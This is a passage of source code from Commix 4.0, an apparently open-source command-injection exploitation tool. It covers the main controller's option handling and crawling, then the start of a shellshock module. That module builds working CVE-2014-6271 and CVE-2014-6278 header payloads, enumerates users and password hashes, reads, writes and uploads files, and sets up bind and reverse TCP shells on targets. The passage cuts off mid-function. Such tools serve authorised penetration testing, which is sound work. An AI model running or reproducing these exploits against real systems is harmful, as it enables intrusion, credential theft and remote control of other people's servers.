# Load tamper scripts
if menu.options.tamper:
settings.USER_APPLIED_TAMPER = menu.options.tamper
checks.tamper_scripts(stored_tamper_scripts=False)
except AttributeError:
pass
else:
err_msg = "You must specify the target URL."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
# Retrieve everything from the supported enumeration options.
if menu.options.enum_all:
checks.enable_all_enumeration_options()
controller.do_check(url, http_request_method, filename)
return filename
# Accidental stop / restart of the target host server.
except (_http_client.BadStatusLine, SocketError) as err_msg:
if any((settings.REVERSE_TCP, settings.BIND_TCP)):
err_msg = "Connection failed to be established."
else:
err_msg = "The target host is not responding."
err_msg += " Please ensure that is up and try again."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
logs.print_logs_notification(filename, url)
if any((settings.REVERSE_TCP, settings.BIND_TCP)):
raise SystemExit()
try:
filename = ""
# Check if defined "--version" option.
if menu.options.version:
version.show_version()
raise SystemExit()
# Print the legal disclaimer msg.
settings.print_data_to_stdout(settings.print_legal_disclaimer_msg(settings.LEGAL_DISCLAIMER_MSG))
# Get total number of days from last update
if os.path.isfile(settings.SETTINGS_PATH):
if settings.STABLE_RELEASE == False:
common.days_from_last_update()
# Check if specified wrong alternative shell
if menu.options.alter_shell:
if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS:
err_msg = "'" + menu.options.alter_shell + "' shell is not supported!"
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
# Define the level of verbosity.
if menu.options.verbose > 4:
err_msg = "The value for option '-v' "
err_msg += "must be an integer value from range [0, 4]."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
settings.VERBOSITY_LEVEL = menu.options.verbose
if settings.VERBOSITY_LEVEL != 0:
settings.print_data_to_stdout(settings.execution("Starting"))
if menu.options.smoke_test:
smoke_test()
try:
if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), menu.options.ignore_stdin)):
settings.STDIN_PARSING = True
except Exception as ex:
if "fileno" in str(ex) and settings.STDIN_PARSING:
settings.STDIN_PARSING = False
if menu.options.ignore_redirects:
settings.FOLLOW_REDIRECT = False
if settings.STDIN_PARSING or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock:
settings.OS_CHECKS_NUM = 1
for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)):
# Check if defined "--list-tampers" option.
if menu.options.list_tampers:
checks.list_tamper_scripts()
raise SystemExit()
if settings.READLINE_ERROR :
checks.no_readline_module()
raise SystemExit()
# Check if defined "--ignore-dependencies" option.
if not menu.options.ignore_dependencies:
checks.third_party_dependencies()
# Check if defined "--update" option.
if menu.options.update:
update.updater()
# Check if defined "--install" option.
if menu.options.install:
install.installer()
raise SystemExit()
# Check if defined "--purge" option.
if menu.options.purge:
purge.purge()
# Check for missing mandatory option(s).
if not settings.STDIN_PARSING and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \
menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \
menu.options.update, menu.options.list_tampers)):
if not menu.options.purge:
err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers or --purge). "
err_msg += "Use -h for help."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.codec:
if menu.options.codec.lower() not in settings.ENCODING_LIST:
err_msg = "The provided charset '" + menu.options.codec + "' is unknown. "
err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' "
err_msg += "to get the full list of supported charsets."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
settings.DEFAULT_CODEC = menu.options.codec.lower()
if menu.options.header and len(menu.options.header.split("\\n"))> 1:
warn_msg = "Due to multiple provided HTTP headers, swithing '--header' to '--headers'."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
if menu.options.method:
settings.HTTP_METHOD = menu.options.method
if menu.options.answers:
settings.ANSWERS = menu.options.answers
# Check if defined "--proxy" option.
if menu.options.proxy:
if menu.options.tor:
err_msg = "The switch '--tor' is incompatible with option '--proxy'."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.ignore_proxy:
err_msg = "The option '--proxy' is incompatible with switch '--ignore-proxy'."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
for match in re.finditer(settings.PROXY_REGEX, menu.options.proxy):
_, proxy_scheme, proxy_address, proxy_port = match.groups()
if settings.SCHEME or proxy_scheme:
if not settings.SCHEME:
settings.SCHEME = proxy_scheme
menu.options.proxy = proxy_address + ":" + proxy_port
break
else:
err_msg = "Proxy value must be in format '(http|https)://address:port'."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
if not menu.options.proxy:
# Check if defined Tor (--tor option).
if menu.options.tor:
if menu.options.tor_port:
settings.TOR_HTTP_PROXY_PORT = menu.options.tor_port
menu.options.proxy = settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT
tor.do_check()
if menu.options.ignore_session and menu.options.flush_session:
err_msg = "The '--ignore-session' option is unlikely to work combined with the '--flush-session' option."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.failed_tries == 0:
err_msg = "You must specify '--failed-tries' value, greater than zero."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check if defined "--auth-cred" and/or '--auth-type'.
if (menu.options.auth_type and not menu.options.auth_cred) or (menu.options.auth_cred and not menu.options.auth_type):
err_msg = "You must specify both '--auth-cred' and '--auth-type' options."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.auth_cred and menu.options.auth_type:
if menu.options.auth_type.lower() in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST) and not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred):
error_msg = "HTTP " + str(menu.options.auth_type)
error_msg += " authentication credentials value must be in format 'username:password'."
settings.print_data_to_stdout(settings.print_critical_msg(error_msg))
raise SystemExit()
if menu.options.requestfile and menu.options.url:
err_msg = "The '-r' option is incompatible with option '-u' ('--url')."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check the user-defined OS.
if menu.options.os:
checks.user_defined_os()
# Check if defined "--check-tor" option.
if menu.options.tor_check and not menu.options.tor:
err_msg = "The '--check-tor' swich requires usage of '--tor' switch."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check if defined "--abort-code" option.
if menu.options.abort_code:
try:
settings.ABORT_CODE = [int(_) for _ in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.abort_code)]
except ValueError:
err_msg = "The option '--abort-code' should contain a list of integer values."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check if defined "--ignore-code" option.
if menu.options.ignore_code:
try:
settings.IGNORE_CODE = [int(_) for _ in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.ignore_code)]
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Ignoring '" + str(', '.join(str(x) for x in settings.IGNORE_CODE)) + "' HTTP error code"+('', 's')[len(settings.IGNORE_CODE) > 1]+ "."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
except ValueError:
err_msg = "The option '--ignore-code' should contain a list of integer values."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check if defined "--wizard" option.
if menu.options.wizard:
message = "Enter full target URL (-u) > "
if menu.options.url:
settings.print_data_to_stdout(settings.print_message(message + str(menu.options.url)))
elif not menu.options.url and not settings.STDIN_PARSING:
while True:
message = "Enter full target URL (-u) > "
menu.options.url = common.read_input(message, default=None, check_batch=True)
if menu.options.url is None or len(menu.options.url) == 0:
pass
else:
break
message = "Enter POST data (--data) [Enter for none] > "
if settings.STDIN_PARSING or menu.options.data:
settings.print_data_to_stdout(settings.print_message(message + str(menu.options.data)))
else:
menu.options.data = common.read_input(message, default=None, check_batch=True)
if menu.options.data is not None and len(menu.options.data) == 0:
menu.options.data = False
while True:
message = "Enter injection level (--level) [1-3, Default: 1] > "
if settings.STDIN_PARSING:
settings.print_data_to_stdout(settings.print_message(message + str(settings.INJECTION_LEVEL)))
break
try:
settings.INJECTION_LEVEL = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True))
if settings.INJECTION_LEVEL > int(settings.HTTP_HEADER_INJECTION_LEVEL):
pass
else:
break
except ValueError:
pass
# Seconds to delay between each HTTP request.
if menu.options.delay > 0:
settings.DELAY = menu.options.delay
# Check if defined "--timesec" option.
if menu.options.timesec != 0:
settings.TIMESEC = menu.options.timesec
if menu.options.tor:
settings.TIMESEC = settings.TIMESEC * 2
warn_msg = "Increasing default value for option '--time-sec' to"
warn_msg += " " + str(settings.TIMESEC) + ", because switch '--tor' was provided."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
# Local IP address
if not menu.options.offline:
settings.LOCAL_HTTP_IP = simple_http_server.grab_ip_addr()
else:
settings.LOCAL_HTTP_IP = None
if menu.options.sitemap_url:
settings.SITEMAP_CHECK = True
if menu.options.crawldepth > 0 or settings.SITEMAP_CHECK:
settings.CRAWLING = True
if menu.options.crawl_exclude:
if not settings.CRAWLING:
err_msg = "The '--crawl-exclude' option requires usage of '--crawl' option."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
try:
re.compile(menu.options.crawl_exclude)
except Exception as e:
err_msg = "invalid regular expression '" + menu.options.crawl_exclude + "' (" + str(e) + ")."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check arguments
if len(sys.argv) == 1 and not settings.STDIN_PARSING:
menu.parser.print_help()
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
raise SystemExit()
else:
# Check for INJECT_HERE tag.
inject_tag_regex_match = re.search(settings.INJECT_TAG_REGEX, ",".join(str(x) for x in sys.argv))
if inject_tag_regex_match:
settings.INJECT_TAG = inject_tag_regex_match.group(0)
# Check provided parameters for tests
checks.check_provided_parameters()
# Define the local path where Metasploit Framework is installed.
if menu.options.msf_path:
settings.METASPLOIT_PATH = menu.options.msf_path
# Enable detection phase
settings.DETECTION_PHASE = True
# Parse target and data from HTTP proxy logs (i.e Burp / WebScarab).
if menu.options.requestfile and menu.options.logfile:
err_msg = "The '-r' option is unlikely to work combined with the '-l' option."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
elif menu.options.requestfile or menu.options.logfile:
parser.logfile_parser()
# Check if ".git" exists and check for updated version!
if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START:
update.check_for_update()
# Check if option is "--url" for single url test.
if menu.options.sitemap_url:
url = menu.options.sitemap_url
else:
url = menu.options.url
if menu.options.data and not settings.CRAWLING:
settings.USER_DEFINED_POST_DATA = menu.options.data
# Check if defined character used for splitting parameter values.
if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA:
settings.PARAMETER_DELIMITER = menu.options.pdel
else:
# Check if defined character used for splitting parameter values.
if menu.options.pdel and menu.options.pdel in url:
settings.PARAMETER_DELIMITER = menu.options.pdel
http_request_method = checks.check_http_method(url)
if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING:
if os_checks_num == 0:
settings.INIT_TEST = True
response, url = url_response(url, http_request_method)
if response != False:
filename = logs.logs_filename_creation(url)
main(filename, url, http_request_method)
else:
output_href = []
# Check if option is "-m" for multiple urls test.
if menu.options.bulkfile:
bulkfile = menu.options.bulkfile
if os_checks_num == 0:
info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
if not os.path.exists(bulkfile):
err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, does not exist."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
elif os.stat(bulkfile).st_size == 0:
err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, is empty."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
settings.MULTI_TARGETS = True
with open(menu.options.bulkfile) as f:
bulkfile = [url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() for url in f]
# Check if option "--crawl" is enabled.
if settings.CRAWLING:
settings.CRAWLING_PHASE = True
url_num = 1
if not menu.options.bulkfile and not settings.STDIN_PARSING:
crawling_list = 1
output_href = crawler.crawler(url, url_num, crawling_list, http_request_method)
output_href.append(url)
else:
if settings.STDIN_PARSING:
bulkfile = stdin_parsing_target(os_checks_num)
crawling_list = len(bulkfile)
for url in bulkfile:
output_href += (crawler.crawler(url, url_num, crawling_list, http_request_method))
url_num += 1
output_href = output_href + bulkfile
output_href = [x for x in output_href if x not in settings.HREF_SKIPPED]
if not menu.options.shellshock:
output_href = crawler.normalize_results(output_href)
settings.CRAWLING_PHASE = False
else:
filename = None
if not settings.STDIN_PARSING:
output_href = output_href + bulkfile
else:
output_href = stdin_parsing_target(os_checks_num)
# Removing duplicates from list.
clean_output_href = []
[clean_output_href.append(x) for x in output_href if x not in clean_output_href]
# Removing empty elements from list.
clean_output_href = [x for x in clean_output_href if x]
if len(output_href) != 0 and not settings.STDIN_PARSING:
if filename is not None:
filename = crawler.store_crawling(output_href)
info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
url_num = 0
for url in clean_output_href:
if check_for_injected_url(url):
if settings.SKIP_VULNERABLE_HOST is None:
while True:
message = "An injection point has already been detected against '" + _urllib.parse.urlparse(url).netloc + "'. "
message += "Do you want to skip further tests involving it? [Y/n] > "
skip_host = common.read_input(message, default="Y", check_batch=True)
if skip_host in settings.CHOICE_YES:
settings.SKIP_VULNERABLE_HOST = True
break
elif skip_host in settings.CHOICE_NO:
settings.SKIP_VULNERABLE_HOST = False
break
elif skip_host in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(skip_host)
pass
if settings.SKIP_VULNERABLE_HOST:
url_num += 1
info_msg = "Skipping URL '" + url + "' (" + str(url_num) + "/" + str(len(clean_output_href)) + ")."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
if not check_for_injected_url(url) or settings.SKIP_VULNERABLE_HOST is False:
if not check_for_injected_url(url):
settings.SKIP_VULNERABLE_HOST = None
http_request_method = checks.check_http_method(url)
if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS:
url_num += 1
perform_check = True
while True:
settings.print_data_to_stdout(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + http_request_method + " " + url))
message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
next_url = common.read_input(message, default="Y", check_batch=True)
if next_url in settings.CHOICE_YES:
info_msg = "Testing URL '" + url + "'."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
break
elif next_url in settings.CHOICE_NO:
perform_check = False
if url_num == len(clean_output_href):
raise SystemExit()
else:
break
elif next_url in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(next_url)
pass
if perform_check:
if os_checks_num == 0:
settings.INIT_TEST = True
if url == clean_output_href[-1]:
settings.EOF = True
# Reset the injection level
if settings.INJECTION_LEVEL > settings.HTTP_HEADER_INJECTION_LEVEL:
settings.INJECTION_LEVEL = 1
menu.options.url = url
init_injection(url)
try:
response, url = url_response(url, http_request_method)
if response != False:
filename = logs.logs_filename_creation(url)
main(filename, url, http_request_method)
except:
pass
else:
url_num += 1
settings.print_data_to_stdout(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] Skipping URL - " + http_request_method + " " + url))
if url_num == len(clean_output_href):
raise SystemExit()
except KeyboardInterrupt:
try:
checks.user_aborted(filename, url)
except NameError:
abort_msg = "User quit (Ctrl-C was pressed)."
settings.print_data_to_stdout(settings.print_abort_msg(abort_msg))
raise checks.exit()
except EOFError:
err_msg = "Exiting, due to EOFError."
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
raise checks.exit()
except SystemExit:
raise checks.exit()
# eof commix-4.0/src/core/modules/ 0000775 0000000 0000000 00000000000 14731205621 0016041 5 ustar 00root root 0000000 0000000 commix-4.0/src/core/modules/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0020156 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/core/modules/modules_handler.py 0000664 0000000 0000000 00000002154 14731205621 0021562 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import sys
from src.utils import menu
from src.utils import settings
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Load modules
"""
def load_modules(url, http_request_method, filename):
# Check if defined the shellshock module
if menu.options.shellshock :
try:
# The shellshock module
from src.core.modules.shellshock import shellshock
# The shellshock handler
shellshock.shellshock_handler(url, http_request_method, filename)
except ImportError as err_msg:
settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg))
raise SystemExit()
raise SystemExit() commix-4.0/src/core/modules/shellshock/ 0000775 0000000 0000000 00000000000 14731205621 0020200 5 ustar 00root root 0000000 0000000 commix-4.0/src/core/modules/shellshock/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0022315 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/core/modules/shellshock/shellshock.py 0000775 0000000 0000000 00000056225 14731205621 0022726 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
import re
import os
import sys
import string
import random
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import http_client as _http_client
from src.utils import common
from src.utils import menu
from src.utils import logs
from src.utils import settings
from src.core.requests import proxy
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.shells import bind_tcp
from src.core.shells import reverse_tcp
from src.core.requests import parameters
from src.core.requests import headers as log_http_headers
from src.core.injections.controller import checks
default_user_agent = menu.options.agent
default_cookie = ""
if menu.options.cookie:
if settings.INJECT_TAG in menu.options.cookie:
menu.options.cookie = menu.options.cookie.replace(settings.INJECT_TAG , "")
default_cookie = menu.options.cookie
"""
This module exploits the vulnerabilities CVE-2014-6271 [1], CVE-2014-6278 [2] in Apache CGI.
[1] CVE-2014-6271: https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
[2] CVE-2014-6278: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278
"""
if settings.MULTI_TARGETS or settings.STDIN_PARSING:
if settings.COOKIE_INJECTION:
settings.COOKIE_INJECTION = None
if settings.USER_AGENT_INJECTION:
settings.USER_AGENT_INJECTION = None
if settings.REFERER_INJECTION:
settings.REFERER_INJECTION = None
# Available Shellshock CVEs
shellshock_cves = [
"CVE-2014-6271",
"CVE-2014-6278"
]
"""
Available shellshock payloads
"""
def shellshock_payloads(cve, attack_vector):
if cve == shellshock_cves[0] :
payload = "() { :; }; " + attack_vector
elif cve == shellshock_cves[1] :
payload = "() { _; } >_[$($())] { " + attack_vector + " } "
else:
pass
return payload
"""
Shellshock bug exploitation
"""
def shellshock_exploitation(cve, cmd):
attack_vector = " echo; " + cmd + ";"
payload = shellshock_payloads(cve, attack_vector)
return payload
"""
Print percentage calculation
"""
def print_percentage(no_result, response_info, cve, float_percent):
if float(float_percent) == 100:
if no_result == True:
percent = settings.FAIL_STATUS
else:
percent = settings.info_msg
no_result = False
elif len(response_info) > 0 and cve in response_info:
percent = settings.info_msg
no_result = False
else:
percent = str(float_percent)+ "%"
return percent, no_result
"""
Enumeration Options
"""
def enumeration(url, cve, check_header, filename):
_ = False
if menu.options.hostname:
checks.print_enumenation().hostname_msg()
cmd = settings.HOSTNAME
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell:
checks.print_hostname(shell, filename, _)
settings.ENUMERATION_DONE = True
if menu.options.current_user:
checks.print_enumenation().current_user_msg()
cmd = settings.CURRENT_USER
cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename)
if cu_account:
checks.print_current_user(cu_account, filename, _)
settings.ENUMERATION_DONE = True
if menu.options.is_root:
checks.print_enumenation().check_privs_msg()
cmd = re.findall(r"" + r"\$(.*)", settings.IS_ROOT)
cmd = ''.join(cmd)
cmd = checks.remove_parenthesis(cmd)
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell:
checks.print_current_user_privs(shell, filename, _)
settings.ENUMERATION_DONE = True
if menu.options.sys_info:
checks.print_enumenation().os_info_msg()
cmd = settings.RECOGNISE_OS
target_os, payload = cmd_exec(url, cmd, cve, check_header, filename)
if target_os:
if target_os == "Linux":
cmd = settings.DISTRO_INFO
distro_name, payload = cmd_exec(url, cmd, cve, check_header, filename)
if len(distro_name) != 0:
target_os = target_os + settings.SINGLE_WHITESPACE + distro_name
cmd = settings.RECOGNISE_HP
target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename)
checks.print_os_info(target_os, target_arch, filename, _)
settings.ENUMERATION_DONE = True
if menu.options.users:
checks.print_enumenation().print_users_msg()
cmd = settings.SYS_USERS
cmd = checks.remove_command_substitution(cmd)
sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename)
if sys_users:
checks.print_users(sys_users, filename, _, alter_shell=False)
settings.ENUMERATION_DONE = True
if menu.options.passwords:
checks.print_enumenation().print_passes_msg()
cmd = settings.SYS_PASSES
cmd = checks.remove_command_substitution(cmd)
sys_passes, payload = cmd_exec(url, cmd, cve, check_header, filename)
if sys_passes :
checks.print_passes(sys_users, filename, _, alter_shell=False)
settings.ENUMERATION_DONE = True
"""
File Access Options
"""
def file_access(url, cve, check_header, filename):
if menu.options.file_write:
file_to_write, dest_to_write, content = checks.check_file_to_write()
cmd = checks.write_content(content, dest_to_write)
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
cmd = checks.check_file(dest_to_write)
cmd = checks.remove_command_substitution(cmd)
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
checks.file_write_status(shell, dest_to_write)
settings.FILE_ACCESS_DONE = True
if menu.options.file_upload:
cmd, dest_to_upload = checks.check_file_to_upload()
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
shell = "".join(str(p) for p in shell)
cmd = checks.check_file(dest_to_upload)
cmd = checks.remove_command_substitution(cmd)
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
shell = "".join(str(p) for p in shell)
checks.file_upload_status(shell, dest_to_upload)
settings.FILE_ACCESS_DONE = True
if menu.options.file_read:
cmd, file_to_read = checks.file_content_to_read()
cmd = checks.remove_command_substitution(cmd)
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
checks.file_read_status(shell, file_to_read, filename)
settings.FILE_ACCESS_DONE = True
"""
Execute the bind / reverse TCP shell
"""
def execute_shell(url, cmd, cve, check_header, filename, os_shell_option):
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
"""
Configure the bind TCP shell
"""
def bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again):
settings.BIND_TCP = True
# Set up RHOST / LPORT for the bind TCP connection.
bind_tcp.configure_bind_tcp(separator = "")
if settings.BIND_TCP == False:
if settings.REVERSE_TCP == True:
os_shell_option = "reverse_tcp"
reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again)
return go_back, go_back_again
while True:
if settings.RHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_bind_tcp_options(settings.RHOST)
else:
cmd = bind_tcp.bind_tcp_options(separator = "")
result = checks.check_bind_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.BIND_TCP = False
return go_back, go_back_again
# execute bind TCP shell
execute_shell(url, cmd, cve, check_header, filename, os_shell_option)
"""
Configure the reverse TCP shell
"""
def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again):
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for the reverse TCP connection.
reverse_tcp.configure_reverse_tcp(separator = "")
if settings.REVERSE_TCP == False:
if settings.BIND_TCP == True:
os_shell_option = "bind_tcp"
bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again)
return go_back, go_back_again
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options(separator = "")
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
return go_back, go_back_again
# execute bind TCP shell
execute_shell(url, cmd, cve, check_header, filename, os_shell_option)
"""
Check commix shell options
"""
def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again,no_result):
if os_shell_option == False:
if no_result == True:
return False
else:
return True
if os_shell_option == None:
return go_back, go_back_again
# The "back" option
elif os_shell_option == "back":
go_back = True
return go_back, go_back_again
# The "os_shell" option
elif os_shell_option == "os_shell":
warn_msg = "You are into the '" + os_shell_option + "' mode."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
return go_back, go_back_again
# The "bind_tcp" option
elif os_shell_option == "bind_tcp":
go_back, go_back_again = bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again)
return go_back, go_back_again
# The "reverse_tcp" option
elif os_shell_option == "reverse_tcp":
go_back, go_back_again = reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again)
return go_back, go_back_again
# The "quit" / "exit" options
elif os_shell_option == "quit" or os_shell_option == "exit":
checks.quit(filename, url, _ = True)
"""
The main shellshock handler
"""
def shellshock_handler(url, http_request_method, filename):
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "results-based command injection"
technique = "shellshock injection technique"
try:
i = 0
total = len(shellshock_cves) * len(settings.SHELLSHOCK_HTTP_HEADERS)
for check_header in settings.SHELLSHOCK_HTTP_HEADERS:
for cve in shellshock_cves:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
i = i + 1
attack_vector = "echo" + settings.SINGLE_WHITESPACE + cve + ":Done;"
payload = shellshock_payloads(cve, attack_vector)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL != 0:
settings.print_data_to_stdout(settings.print_payload(payload))
header = {check_header : payload}
request = _urllib.request.Request(url, None, header)
if check_header == settings.COOKIE:
menu.options.cookie = payload
if check_header == settings.USER_AGENT:
menu.options.agent = payload
log_http_headers.do_check(request)
log_http_headers.check_http_traffic(request)
# Check if defined any HTTP Proxy.
if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor:
response = proxy.use_proxy(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
if type(response) is bool:
response_info = ""
else:
response_info = response.info()
if check_header == settings.COOKIE:
menu.options.cookie = default_cookie
if check_header == settings.USER_AGENT:
menu.options.agent = default_user_agent
percent, float_percent = checks.percentage_calculation(i, total)
percent, no_result = print_percentage(no_result, response_info, cve, float_percent)
if settings.VERBOSITY_LEVEL == 0:
info_msg = "Testing the " + technique + "." + "" + percent + ""
settings.print_data_to_stdout(settings.END_LINE.CR +settings.print_info_msg(info_msg))
if no_result == False:
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
vuln_parameter = "HTTP Header"
the_type = settings.SINGLE_WHITESPACE + vuln_parameter
check_header = settings.SINGLE_WHITESPACE + check_header
vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload)
check_header = check_header[1:]
logs.update_payload(filename, counter, payload)
if settings.VERBOSITY_LEVEL != 0:
checks.total_of_requests()
settings.CHECKING_PARAMETER = check_header + settings.SINGLE_WHITESPACE + vuln_parameter
# Print the findings to terminal.
info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " + technique + "."
if settings.VERBOSITY_LEVEL == 0:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
settings.print_data_to_stdout(settings.print_sub_content(payload))
# Enumeration options.
if settings.ENUMERATION_DONE:
while True:
message = "Do you want to ignore stored session and enumerate again? [y/N] > "
enumerate_again = common.read_input(message, default="N", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
enumeration(url, cve, check_header, filename)
break
elif enumerate_again in settings.CHOICE_NO:
break
elif enumerate_again in settings.CHOICE_QUIT:
